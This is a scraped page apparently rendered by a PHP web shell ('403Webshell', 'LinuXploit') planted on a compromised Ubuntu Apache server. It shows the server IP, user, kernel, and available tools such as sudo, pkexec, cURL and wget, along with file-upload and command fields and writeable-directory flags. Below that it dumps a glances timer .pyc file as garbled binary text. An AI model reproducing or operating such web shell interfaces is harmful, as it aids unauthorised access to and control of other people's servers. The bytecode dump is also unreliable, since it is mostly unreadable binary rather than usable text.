403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/glances/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/glances/__pycache__/timer.cpython-310.pyc
o

�v�a�@sLdZddlmZddlmZiadd�ZGdd�de�ZGdd	�d	e�Zd
S)zThe timer manager.�)�time)�datetimecCs.t�}t�|�}|s
d}n||}|t|<|S)z*Return the elapsed time since last update.�)r�last_update_times�get)�IOType�current_time�	last_time�time_since_update�r�//usr/lib/python3/dist-packages/glances/timer.py�getTimeSinceLastUpdates
r
c@sBeZdZdZdd�Zdd�Zddd�Zd	d
�Zdd�Zd
d�Z	dS)�Timerz&The timer class. A simple chronometer.cCs||_|��dS�N)�duration�start��selfrrrr�__init__/szTimer.__init__cCst�|j|_dSr)rr�target�rrrrr3�zTimer.startNcCs|dur	|�|�|��dSr)�setrrrrr�reset6s
zTimer.resetcCs|j|jt�Sr)rrrrrrrr;rz	Timer.getcCs
||_dSr)rrrrrr>s
z	Timer.setcCst�|jkSr)rrrrrr�finishedA�zTimer.finishedr)
�__name__�
__module__�__qualname__�__doc__rrrrrrrrrrr+s
rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�CounterzThe counter class.cC�|��dSr�rrrrrrIrzCounter.__init__cCst��|_dSr)r�nowrrrrrrLsz
Counter.startcCr!rr"rrrrrOrz
Counter.resetcCst��|j��Sr)rr#r�
total_secondsrrrrrRrzCounter.getN)rrrrrrrrrrrrr Esr N)rrrrr
�objectrr rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit